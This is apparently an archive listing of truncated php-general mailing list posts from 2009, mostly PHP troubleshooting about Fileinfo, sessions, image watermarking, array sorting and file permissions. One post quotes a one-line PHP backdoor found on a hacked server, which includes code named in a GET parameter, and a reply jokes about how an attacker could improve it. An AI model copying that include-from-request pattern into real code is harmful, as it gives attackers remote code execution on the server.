RHEL5/PHP 5.1.6
I'm having some trouble getting the Fileinfo package working. It
installed fine, and phpinfo() says it's enabled. But it consistently
returns an empty string when getting the MIME of a file.
/usr/share/pear/bin/pecl install fileinfo
vi /etc/php.d/fileinfo.ini
extension=fileinf
Home | My Interface
My Interface
DONT READ TABLE
Step-By-Step Instructions:
P tags
IMG tags
DONT READ
I am having trouble with the above HTML semantics. I just need to read the
content inside the TD with Class name text11(its the only class in the page
as well).
Need to omit the table i
whisperstream wrote:
> I have a server running that receives xml formatted events from other
> services I have no control over. For certain events the transfer-encoding
> is chunked.
>
> I was just doing
>
> $input = file_get_contents('php://stdin');
>
> and this works well until there is chunk
Robert Cummings wrote:
> On Tue, 2009-05-12 at 18:53 -0400, PJ wrote:
>
>> Robert Cummings wrote:
>>
>>> On Tue, 2009-05-12 at 16:31 -0400, tedd wrote:
>>>
>>>
At 3:48 PM -0400 5/12/09, Robert Cummings wrote:
> On Tue, 2009-05-12 at 09:54 -0400, te
Michael A. Peters wrote:
The database session management class I'm using is something I
downloaded off the web several years ago.
I ported it to use mdb2 but it sometimes fails in a strange way if the
session is expired or if the browser sends a session cookie that does
not exist.
With erro
On Tue, 2009-05-12 at 18:53 -0400, PJ wrote:
> Robert Cummings wrote:
> > On Tue, 2009-05-12 at 16:31 -0400, tedd wrote:
> >
> >> At 3:48 PM -0400 5/12/09, Robert Cummings wrote:
> >>
> >>> On Tue, 2009-05-12 at 09:54 -0400, tedd wrote:
> >>>
> At 12:27 PM -0700 5/11/09, Daevid
The database session management class I'm using is something I
downloaded off the web several years ago.
I ported it to use mdb2 but it sometimes fails in a strange way if the
session is expired or if the browser sends a session cookie that does
not exist.
With error reporting turned off thi
I have a server running that receives xml formatted events from other
services I have no control over. For certain events the transfer-encoding
is chunked.
I was just doing
$input = file_get_contents('php://stdin');
and this works well until there is chunked input. Then I tried
$handle = fop
Robert Cummings wrote:
> On Tue, 2009-05-12 at 16:31 -0400, tedd wrote:
>
>> At 3:48 PM -0400 5/12/09, Robert Cummings wrote:
>>
>>> On Tue, 2009-05-12 at 09:54 -0400, tedd wrote:
>>>
At 12:27 PM -0700 5/11/09, Daevid Vincent wrote:
> > > Here's an example with code:
>>>
On Tue, 2009-05-12 at 16:31 -0400, tedd wrote:
> At 3:48 PM -0400 5/12/09, Robert Cummings wrote:
> >On Tue, 2009-05-12 at 09:54 -0400, tedd wrote:
> >> At 12:27 PM -0700 5/11/09, Daevid Vincent wrote:
> >> > > > Here's an example with code:
> >> >> >
> >> > > > http://webbytedd.com/b/waterm
At 3:48 PM -0400 5/12/09, Robert Cummings wrote:
On Tue, 2009-05-12 at 09:54 -0400, tedd wrote:
At 12:27 PM -0700 5/11/09, Daevid Vincent wrote:
> > > Here's an example with code:
>> >
> > > http://webbytedd.com/b/watermark/
>>
>> I can't read the text over the dog's nose... ;)
>
>Yo
On 5/11/09 11:58 AM, "Thodoris" wrote:
>
>> On 11 May 2009 at 18:25, Thodoris wrote:
>>
>>
>>> Hi gang,
>>> I am using phpmailer to send some mail notifications in an intranet
>>> I've made. This is a sample code:
>>>
>>
>>
>>> $e->Subject = "This is δφκξγκδφη garbidge κηδφκξγσ"
On Tue, 2009-05-12 at 09:54 -0400, tedd wrote:
> At 12:27 PM -0700 5/11/09, Daevid Vincent wrote:
> > > > Here's an example with code:
> >> >
> > > > http://webbytedd.com/b/watermark/
> >>
> >> I can't read the text over the dog's nose... ;)
> >
> >You're lucky. I don't see ANYTHING (as mention
yep. works in both now. :)
> -Original Message-
> From: tedd [mailto:tedd.sperl...@gmail.com]
> Sent: Tuesday, May 12, 2009 6:55 AM
> To: php-general@lists.php.net; Daevid Vincent
> Subject: RE: [PHP] Watermarking of images
>
> At 12:27 PM -0700 5/11/09, Daevid Vincent wrote:
> > > > H
On Tue, May 12, 2009 at 07:40:57AM +0100, Ashley Sheridan wrote:
> On Mon, 2009-05-11 at 17:59 -0600, The Doctor wrote:
> [snip][/snip]
>
> You find this on your server?
>
>
> Ash
> www.ashleysheridan.co.uk
>
Courtesy of a PHP-hacked shell.
--
Member - Liberal International This is doc...@n
>
>
> and there is a special
>
> $html = ' blablablablabla ';
>
> where all the html code is written for the form (table,...).
>
> The problem is that I have to include a javascript to be able to send the
> form to my email address. I don't know where and how to put it.
>
> Could someone help
Shawn McKenzie wrote:
> PJ wrote:
>
>> Could somebody please explain this?
>> When the line - sort($category) is commented out, the output returns
>> Notice: Undefined offset: in the line "36" for all the repeats (29 in
>> this case)
>>
>
> Sure it makes sense and is rational, you just have
Jan G.B. wrote:
> 2009/5/12 PJ :
>
>> Could somebody please explain this?
>> When the line - sort($category) is commented out, the output returns
>> Notice: Undefined offset: in the line "36" for all the repeats (29 in
>> this case)
>>
>
> Sure thing if you consider this:
>
>
>
>
>> The
PJ wrote:
> Could somebody please explain this?
> When the line - sort($category) is commented out, the output returns
> Notice: Undefined offset: in the line "36" for all the repeats (29 in
> this case)
Sure it makes sense and is rational, you just have no idea what you're
doing :-)
> The code b
Maybe, because of this ?
$category[$row['name']] = $row;
.
$cat = $category[$ii]['name']; //===this is line 36==
best regards
Robert
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
On Tue, 2009-05-12 at 18:05 +0300, Thodoris wrote:
Still curious about the right script though (if this is possible of
course).
Of course it's possible... but you're probably not going to get the
results you want since you're taking 3 dimensions and trying to push
them into 2. You'll
2009/5/12 PJ :
> Could somebody please explain this?
> When the line - sort($category) is commented out, the output returns
> Notice: Undefined offset: in the line "36" for all the repeats (29 in
> this case)
Sure thing if you consider this:
> The code below:
> $SQL = "SELECT name
>FRO
PJ wrote:
Could somebody please explain this?
When the line - sort($category) is commented out, the output returns
Notice: Undefined offset: in the line "36" for all the repeats (29 in
this case)
The code below:
", $cat, "";
$ii++;
}
$ii = $lastIndex;
//echo $category[$ii]['category'];
w
Robert Stankiewicz wrote:
> Maybe, because of this ?
>> $category[$row['name']] = $row;
>>
>
>> $cat = $category[$ii]['name']; //===this is line
>> 36==
>>
>
> best regards
> Robert
>
I'm afraid you lose me completely. What does the sort($category) have to
d
Could somebody please explain this?
When the line - sort($category) is commented out, the output returns
Notice: Undefined offset: in the line "36" for all the repeats (29 in
this case)
The code below:
", $cat, "";
$ii++;
}
$ii = $lastIndex;
//echo $category[$ii]['category'];
while ($
On Tue, 2009-05-12 at 18:05 +0300, Thodoris wrote:
>
> Still curious about the right script though (if this is possible of
> course).
Of course it's possible... but you're probably not going to get the
results you want since you're taking 3 dimensions and trying to push
them into 2. You'll notice
Could somebody please explain this?
When the line - sort($category) is commented out, the output returns
Notice: Undefined offset: in the line "36" for all the repeats (29 in
this case)
The code below:
", $cat, "";
$ii++;
}
$ii = $lastIndex;
//echo $category[$ii]['category'];
while ($ii
Hello,
To be clear, my php file www.auditgratuit.be/copropriete.php
doesn't work to send the form.
My page starts with
The problem is that I have to include a javascript to be able to send the
form to my email address. I don't know where and how to put it.
Could someone help me please?
Tha
Could somebody please explain this?
When the line - sort($category) is commented out, the output returns
Notice: Undefined offset: in the line "36" for all the repeats (29 in
this case)
The code below:
", $cat, "";
$ii++;
}
$ii = $lastIndex;
//echo $category[$ii]['category'];
while ($ii <=
Thodoris wrote:
דניאל דנון wrote:
I've tried to make a color table, but I am missing something. not in the
color-table-code itself, but in somewhere else... I just can't find...
untested but try..
// 4096*4096 = 16777216 = FF+1
$im = imagecreate(4096, 4096);
$white =
Thodoris wrote:
hi
I was trying to read a file from Desktop (Centos),
Simply saying (php code file is in /var/www/html/ )
if (file_exists("/root/Desktop/conf_files_linux"))
echo "yes file is there";
else
echo "no none";
It gives me none.
If i place conf_files_linux file in /var/www/html.
Hi Terion,
I thing the problems is the time limit on your Server.
Try this now:
Test the var before insert into db:
If(!isset($crime)){$crime=''}
After u remove from the db the unwanted lines.
On the end of the file u do this:
$letters=array();
for($i='A';$i<='Z';$i++){$letters[$i]=$i;if($i==
Nathan Rixham wrote:
Miller, Terion wrote:
Well I tried it and still it stopped at the "C's"
1:
your script is timing out, you need to set the time limit higher
set_time_limit(0);
2:
foreach($html->find('table') as $table) {
$rows = explode('' , $table );
$headerCells = explode('', array_shi
At 12:27 PM -0700 5/11/09, Daevid Vincent wrote:
> > Here's an example with code:
>
> > http://webbytedd.com/b/watermark/
I can't read the text over the dog's nose... ;)
You're lucky. I don't see ANYTHING (as mentioned weeks ago already)...
XP. FF 3.0.10 and IE 6.
BOTH do not work.
F
Thodoris wrote:
>
>> hi
>> I was trying to read a file from Desktop (Centos),
>>
>> Simply saying (php code file is in /var/www/html/ )
>>
>> if (file_exists("/root/Desktop/conf_files_linux"))
>> echo "yes file is there";
>> else
>> echo "no none";
>>
>> It gives me none.
>> If i place conf_files_
thanks for replying
>From command line can access that file.
But i need some interface, through that i want to change some files.
I am using apache (httpd) server.
Now i need to give access to apache user of those folders, which is not
recommended as per you.
or in order to use the suexec featu
Miller, Terion wrote:
Well I tried it and still it stopped at the "C's"
1:
your script is timing out, you need to set the time limit higher
set_time_limit(0);
2:
foreach($html->find('table') as $table) {
$rows = explode('' , $table );
$headerCells = explode('', array_shift($rows));
$struct =
Thodoris wrote:
>
>> דניאל דנון wrote:
>>> I've tried to make a color table, but I am missing something. not in the
>>> color-table-code itself, but in somewhere else... I just can't find...
>>
>> untested but try..
>>
>> // 4096*4096 = 16777216 = FF+1
>> $im = imagecreate(4096, 4096);
>> $whi
דניאל דנון wrote:
I've tried to make a color table, but I am missing something. not in the
color-table-code itself, but in somewhere else... I just can't find...
untested but try..
// 4096*4096 = 16777216 = FF+1
$im = imagecreate(4096, 4096);
$white = imagecolorallocate($im, 0, 0, 0);
$r
tedd wrote:
At 9:32 PM +0100 5/11/09, Nathan Rixham wrote:
Gary wrote:
Thank you to everyone again for your help...
Gary
""Gary"" wrote in message
news:52.b9.21821.82558...@pb1.pair.com...
I was thinking of creating a php include for the tags for a
site. Is this possible?
Gary
ju
>
> Bastien, could you give me an example of what you mean?
> would it be $Name = ""
>
> like that?
>
> Thanks for the ideas everyone!
>
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, visit: http://www.php.net/unsub.php
>>
>
> Try Imitliazing the variables at the top of the
At 9:32 PM +0100 5/11/09, Nathan Rixham wrote:
Gary wrote:
Thank you to everyone again for your help...
Gary
""Gary"" wrote in message
news:52.b9.21821.82558...@pb1.pair.com...
I was thinking of creating a php include for the tags for a
site. Is this possible?
Gary
just an idea..
hi
I was trying to read a file from Desktop (Centos),
Simply saying (php code file is in /var/www/html/ )
if (file_exists("/root/Desktop/conf_files_linux"))
echo "yes file is there";
else
echo "no none";
It gives me none.
If i place conf_files_linux file in /var/www/html. i get yes...
After
Hello,
on 05/11/2009 12:25 PM Thodoris said the following:
This script seems to work ok in a freebsd development server I have but
a linux production machine breaks the subject's encoding for some
unexpected reason. The subject has a mix of English and Greek characters
that FreeBSD seems to
hi
I was trying to read a file from Desktop (Centos),
Simply saying (php code file is in /var/www/html/ )
if (file_exists("/root/Desktop/conf_files_linux"))
echo "yes file is there";
else
echo "no none";
It gives me none.
If i place conf_files_linux file in /var/www/html. i get yes...
After ch
Nathan Rixham wrote:
> Andrew Williams wrote:
>> Can someone help me about how to retrieve data using TCP server
>> connection
>>
>
> you'll need to be a bit more specific to get any useful help back
> mate..
>
Just point your browser to "http://example.com/blah/blah"; and you'll get
some data
Hi Andrew,
You'll be needing the stream functions I'd guess (this si how I always
do it, with no problems)
http://php.net/stream_socket_client is your starting point.
Many Regards,
Nathan
Andrew Williams wrote:
I need to connect to server using IP connection to get raw data, process the
ra
Andrew Williams wrote:
Can someone help me about how to retrieve data using TCP server connection
you'll need to be a bit more specific to get any useful help back mate..
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
The Doctor wrote:
Has anyone seen this before?
if (trim($_GET['x'])!=''){...@include($_GET['x']);exit();}
lol - that's really bad if you're going to waste your time exploiting
peoples stuff at least:
make it so it'll actually run something
don't include your personal email in the script
encry
Can someone help me about how to retrieve data using TCP server connection
--
Best Wishes
A Williams
50 matches
Mail list logo